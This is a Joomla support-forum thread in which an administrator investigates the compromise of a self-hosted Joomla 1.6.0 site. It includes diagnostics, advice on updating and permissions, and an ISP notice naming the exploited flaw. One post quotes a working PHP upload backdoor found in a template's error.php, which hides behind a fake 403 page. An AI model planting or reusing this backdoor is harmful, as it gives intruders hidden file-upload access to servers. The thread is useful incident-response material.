Joomla Compromised

[gk_theodore]

Dear All,

Can anyone please help me understand what is the cause of my site being compromised?

For start, I quote FPA's output below:

Joomla! Instance :: Joomla! 1.6.0-Stable (Onward) 10-Jan-2011
Joomla! Configured :: Yes | Read-Only (444) | Owner: 0 (uid: /gid: ) | Group: 0 (gid: ) | Valid For: 1.6
Configuration Options :: Offline: 0 | SEF: 1 | SEF Suffix: 0 | SEF ReWrite: 0 | .htaccess/web.config: No | GZip: 0 | Cache: 0 | FTP Layer: 0 | SSL: 0 | Error Reporting: -1 | Site Debug: 0 | Language Debug: 0 | Default Access: 1 | Unicode Slugs: 0 | Database Credentials Present: Yes

Host Configuration :: OS: Windows NT | OS Version: 5.2 | Technology: i586 | Web Server: Microsoft-IIS/6.0 | Encoding: gzip, deflate | Doc Root: C:/Inetpub/wwwroot | System TMP Writable: No

PHP Configuration :: Version: 5.3.5 | PHP API: cgi-fcgi | Session Path Writable: No | Display Errors: | Error Reporting: 22527 | Log Errors To: | Last Known Error: | Register Globals: | Magic Quotes: | Safe Mode: | Open Base: | Uploads: 1 | Max. Upload Size: 2M | Max. POST Size: 8M | Max. Input Time: 60 | Max. Execution Time: 30 | Memory Limit: 128M

MySQL Configuration :: Version: 5.5.8 (Client:mysqlnd 5.0.7-dev - 091210 - $Revision: 304625 $) | Host: --protected-- (--protected--) | Collation: utf8_general_ci (Character Set: utf8) | Database Size: 2.14 MiB | #of Tables: 33

PHP Extensions :: Core (5.3.5) | bcmath () | calendar () | com_dotnet (0.1) | ctype () | date (5.3.5) | ereg () | filter (0.11.0) | ftp () | hash (1.0) | iconv () | json (1.2.1) | mcrypt () | SPL (0.2) | odbc (1.0) | pcre () | Reflection ($Revision: 305605 $) | session () | standard (5.3.5) | mysqlnd (mysqlnd 5.0.7-dev - 091210 - $Revision: 304625 $) | tokenizer (0.1) | zip (1.9.1) | zlib (1.1) | libxml () | dom (20031129) | PDO (1.0.4dev) | Phar (2.0.1) | SimpleXML (0.1) | wddx () | xml () | xmlreader (0.1) | xmlwriter (0.1) | cgi-fcgi () | mysql (1.0) | mhash () | Zend Engine (2.3.0) |
Potential Missing Extensions :: openssl | curl | mbstring | mysqli | suhosin |

Switch User Environment (Experimental) :: PHP CGI: Yes | Server SU: No | PHP SU: Yes | Custom SU (LiteSpeed/Cloud/Grid): Yes
Potential Ownership Issues: No

Core Folders :: images/ (777) | components/ (777) | modules/ (777) | plugins/ (777) | language/ (777) | templates/ (777) | cache/ (777) | logs/ (777) | tmp/ (777) | administrator/components/ (777) | administrator/modules/ (777) | administrator/language/ (777) | administrator/templates/ (777) |

Elevated Permissions (First 10) :: administrator/ (777) | administrator/cache/ (777) | administrator/components/ (777) | administrator/components/com_admin/ (777) | administrator/components/com_admin/controllers/ (777) | administrator/components/com_admin/helpers/ (777) | administrator/components/com_admin/helpers/html/ (777) | administrator/components/com_admin/models/ (777) | administrator/components/com_admin/models/forms/ (777) | administrator/components/com_admin/views/ (777) |

Components :: SITE :: com_mailto (1.6.0) | com_wrapper (1.6.0) |
Components :: ADMIN :: com_admin (1.6.0) | com_banners (1.6.0) | com_cache (1.6.0) | com_categories (1.6.0) | com_checkin (1.6.0) | com_config (1.6.0) | com_content (1.6.0) | com_cpanel (1.6.0) | com_installer (1.6.0) | com_languages (1.6.0) | com_login (1.6.0) | com_media (1.6.0) | com_menus (1.6.0) | com_messages (1.6.0) | com_modules (1.6.0) | com_newsfeeds (1.6.0) | com_plugins (1.6.0) | com_redirect (1.6.0) | com_search (1.6.0) | com_templates (1.6.0) | com_users (1.6.0) | weblinks (1.6.0) |

Modules :: SITE :: mod_articles_archive (1.6.0) | mod_articles_categories (1.6.0) | mod_articles_category (1.6.0) | mod_articles_latest (1.6.0) | mod_articles_news (1.6.0) | mod_articles_popular (1.6.0) | mod_banners (1.6.0) | mod_breadcrumbs (1.6.0) | mod_custom (1.6.0) | mod_feed (1.6.0) | mod_footer (1.6.0) | mod_languages (1.6.0) | mod_login (1.6.0) | mod_menu (1.6.0) | mod_random_image (1.6.0) | mod_related_items (1.6.0) | mod_search (1.6.0) | mod_stats (1.6.0) | mod_syndicate (1.6.0) | mod_users_latest (1.6.0) | mod_weblinks (1.0.0) | mod_whosonline (1.6.0) | mod_wrapper (1.6.0) |
Modules :: ADMIN :: mod_custom (1.6.0) | mod_feed (1.6.0) | mod_latest (1.6.0) | mod_logged (1.6.0) | mod_login (1.6.0) | mod_menu (1.6.0) | mod_online (1.6.0) | mod_popular (1.6.0) | mod_quickicon (1.6.0) | mod_status (1.6.0) | mod_submenu (1.6.0) | mod_title (1.6.0) | mod_toolbar (1.6.0) | mod_unread (1.6.0) |

Plugins :: SITE :: plg_authentification_example (1.6.0) | plg_authentication_gmail (1.6.0) | plg_authentication_joomla (1.6.0) | plg_authentication_ldap (1.6.0) | plg_content_emailcloak (1.6.0) | plg_content_example (1.0) | plg_content_geshi (1.6.0) | plg_content_joomla (1.6.0) | plg_content_loadmodule (1.6.0) | plg_content_pagebreak (1.6.0) | plg_content_pagenavigation (1.6.0) | plg_content_vote (1.6.0) | plg_editors_codemirror (1.0) | plg_editors_tinymce (3.3.9.3) | plg_editors-xtd_article (1.0.0) | plg_editors-xtd_image (1.0.0) | plg_editors-xtd_pagebreak (1.6.0) | plg_editors-xtd_readmore (1.6.0) | plg_extension_example (1.0) | plg_extension_joomla (1.6.0) | plg_search_categories (1.6.0) | plg_search_contacts (1.6.0) | plg_search_content (1.6.0) | plg_search_newsfeeds (1.6.0) | plg_search_weblinks (1.6.0) | plg_system_cache (1.6.0) | plg_system_debug (1.6.0) | plg_system_languagefilter (1.6.0) | plg_system_log (1.6.0) | plg_system_logout (1.6.0) | plg_system_p3p (1.6.0) | plg_system_redirect (1.6.0) | plg_system_remember (1.6.0) | plg_system_sef (1.6.0) | plg_user_contactcreator (1.6.0) | plg_user_example (1.0) | plg_user_joomla (1.6.0) | plg_user_profile (1.6.0) |

Templates :: SITE :: atomic (1.6.0) | beez5 (1.6.0) | beez_20 (1.6.0) |
Templates :: ADMIN :: bluestork (1.6.0) | hathor (1.6.0) |

Thanks in advance,
---
Theo

[Tonie]

An outdated version of Joomla (1.6.0). There were mutiple security issues fixed later in the 1.6 series.

Second, having 777 as permissions is never to be advised. Normally, 755 is the way to go.

Please read the sticky threads in this forum for more information what to do your website is hacked.

[gk_theodore]

Thank you for your quick reply.

> An outdated version of Joomla (1.6.0). There were mutiple security issues fixed later in the 1.6 series.
That does not help me much. Is/Was there ANY version without mutiple security issues?

> Second, having 777 as permissions is never to be advised. Normally, 755 is the way to go.
777 permissions on Joomla's directories gave rw access to the PHP.exe running the Joomla system - no user will directly manipulate them (afaik).
How come they did?
I took the site offline and plan to remove Joomla completely.
Problem is: If I do not know how they did it, will never be sure my server will ever be clean.
I want to know if the cause was exploitation of a Joomla vulnerability or exploitation of an ommision/misconfiguration on my part?
Also, I remember running a Joomla after installation check script that reported all green.
Trying to nail down permisions, only to find that things started breaking down, like image upload i think.

If I got things right, 755 will just give only PHP write permissions and read only to everyone else.
But If this is a Joomla vulnerability, 755 would have absolutetly no effect would it?

Positive finding: They did not manage to deface my site - only the administrator page.
Negative finding: my logs/error.php is chokefull of errors like:
Joomla FAILURE: Invalid password 2013-01-22 01:19:19 - 95.180.240.88

[gk_theodore]

Update!
So far I have found the following changed files:

<%JoomlaRoot%>\administrator\index.php
...containing just the script kid's nonsense banner page.

<%JoomlaRoot%>\administrator\templates\bluestork\error.php
...with the following contents:
<?php
session_start();
$me=$_SERVER['PHP_SELF'];
$NameF=$_REQUEST['NameF'];
$nowaddress='<input type=hidden name=address value="'.getcwd().'">';
$pass_up="09f86a3c26ad89b2c2085378b7abb83d";
if (isset($_FILES["filee"]) and ! $_FILES["filee"]["error"] )
{
move_uploaded_file($_FILES["filee"]["tmp_name"], $_FILES["filee"]["name"]) ;
echo $ifupload=" ItsOk";
}
if(md5(md5($_REQUEST['pass']))!=$pass_up and $_SESSION['LoGiN']!=true)
{
print "<title>403 Forbidden</title><h1>Forbidden</h1><p>You don't have permission to access ".$_SERVER['PHP_SELF']." on this server </p><hr>";
die();
exit();
}
else
{
$_SESSION['LoGiN']=true;
}
echo "<form action=$me method=post enctype=multipart/form-data> $nowaddress <input size=100 type=file name=filee ><input type=submit value=Upload /></form>";
?>

[gk_theodore]

Update2:
So far I have found the following injected files:
<%JoomlaRoot%>\administrator\templates\bluestork\confgic.php
<%JoomlaRoot%>\administrator\templates\bluestork\confiq.php
<%JoomlaRoot%>\administrator\templates\bluestork\servcie.php
<%JoomlaRoot%>\administrator\templates\bluestork\stmdu.php
<%JoomlaRoot%>\images\mhu.php
<%JoomlaRoot%>\images\mhuadmin.php
<%JoomlaRoot%>\tmp\khc54.php
<%JoomlaRoot%>\tmp\mhu.php
<%JoomlaRoot%>\tmp\1o1.html

Contents available on request.

[gk_theodore]

Update3:

Found and deleted several illegitimate users from DB like aalexxx and so on.

[mandville]

As stated please follow the checklist 7 from the sticky posts.

[gk_theodore]

Good morning,

As stated please follow the checklist 7 from the sticky posts.

This may help me start over and possibly avoid the same mistakes but will not help me find what the mistakes were in the first place.

It would help me more if someone after having seen my posts can readily (not search for me) provide any or all of the following:
a) The attack's (not the attacker's of course) identity (i.e. Apache vulnerability XYZ)
b) Any known Security Advisories
c) Any help on how to test the theory (i.e. script that when ran will gain access to my site)

My humble opinion is that unless I know the attack's specifics, the checklist is useless.
In the case the attacker has gained OS root access, even if I remove all files and scan for KNOWN malware as it suggests, how can I be sure that he or she has not patched our system to recognize a magic password?

[Tonie]

The mistake in your case in not updating Joomla to the latest version.

a. For the attack that in the end caused the hack, you will have to go through the Apache access log and find the time/data/attack combination. No other way around this.
b. I do not really use security advisories, but in a new Joomla patch it is stated how many security issues are fixed and with which severity. For example, this one for 1.6.1: http://www.joomla.org/announcements/rel ... eased.html

The thing with being hacked is, that it's almost always automatic. Somebody just scans ranges of IP addresses, blindly automatically trying known security holes for Joomla/Wordpress/Drupal/etc. If your site is not patched at this point, it's hacked. In my opinion, it does not matter too much what caused the hack in your case. The Joomla version being used is old, and known security holes are actively abused. This means that the site needs to be fixed, and patched. Also preferably to a Joomla version that is supported at this time (Joomla 2.5 or 3.0).

[gk_theodore]

Please accept my apologies for the delay but dealing with this problem needs more time than I have available.

UPDATE: I have since received a message from my ISP that roughly translates as:
"We would like to inform you that your website XYZ at IP address a.b.c.d. has most probably been the target of a cyber-attack in August 2012. The attackers took advantage of a security hole in the 'bluestork' add-on of the Joomla CMS versions 1.6 to 2.5.4 managing to upload on the server the malicious files Indx.php, Kickstart.php, Step.php, Stph.php, Inedx.php, saerch.php, error.php, pr.txt and get.pl.

Technical info about the vulnerabilities and removal instructions can be found at the following URLs:

http://developer.joomla.org/security/ne ... ation.html
http://developer.joomla.org/security/ne ... ation.html

We recommend the following measures:
1. Scan the server for vulnerabilities, exploits and infections.
2. Install all OS and www-server updates and patches.
3. Enable auditing policies on all servers.
4. Ensure that log files are stored in a different computer than the server and backups are being kept.
5. Regular CMS updates."

[gk_theodore]

UPDATE2: I have since found this post:
http://forum.joomla.org/viewtopic.php?f=432&t=797657
...to be relevant.
Just to keep you people informed.

[Slackervaara]

Do you know how your host figured out that you was hacked 2012? Thanks also that you posted this info, which shows that the host can provide information about hacking.

[gk_theodore]

Do you know how your host figured out that you was hacked 2012? Thanks also that you posted this info, which shows that the host can provide information about hacking.

Actually it was my ISP as I said, not my host.
I am hosting this myself on a server I own.
My ISP told me that this info was forwarded to them by my country's cyber-security authority.
They could not disclose any more info.

What worried me the most is that if the infection was so way back in time, all my backups are useless.
Furthermore, as I said in an earlier post, if I do not know the attack's payload and mode of operation I can never be sure of its extend which means that I have to wipe-out the entire machine AND I REALLY HATE THAT since it hosts a multitude of services and more than 10 years worth of user data!

What I did so far is remove Joomla directories completely and stop the www and MySQL servers.
Next, I am going to wipeout Joomla's DB using the workbench tool.
Is Joomla completely removed then or there is something else I have to remove?

[brian]

personaly i would completely erase and format the entire server. You should not be running your own server at all if you dont have the time/skill to manage it and keep the entire server not just joomla upto date

[gk_theodore]

personaly i would completely erase and format the entire server.

I know this is ALWAYS the best option but since in my case is the costlier one, I am trying to avoid it.
Currently I haven't got the time to rebuild everything from scratch.

You should not be running your own server at all if you dont have the time/skill to manage it and keep the entire server not just joomla upto date

I will agree If I find proof that it was my fault. I am still looking at how exactly they gained access.

1) Tonie said back in March that it was my fault because I did not keep Joomla up to date.
For this to hold, it must be that my infection (say by itsoknopreblembro) occured AFTER a Joomla version invulnerable to the attack used became available.
If by the time their attack pattern came out, the latest Joomla available was still vulnerable then it would not have mattered whether I updated each and every day or not at all would it?

2) He also said that permissions should never be 777. Well, I take security seriously and I do not do things like that. I re-examined the permissions last week and I found this not to be the case.
I re-run FPA and it insists that my perms are 777!.
It still says my perms are 777 even if I take ownership of a folder, assign read-only rights to myself (admins) and remove all other users and groups. It does not seem to matter. It still reports 777.
Could it be that it does not underdstand NTFS permissions?
I will post in the relevant thread and let you know...

[brian]

Could it be that it does not underdstand NTFS permissions?
I will post in the relevant thread and let you know...

I would not be surprised if that was the case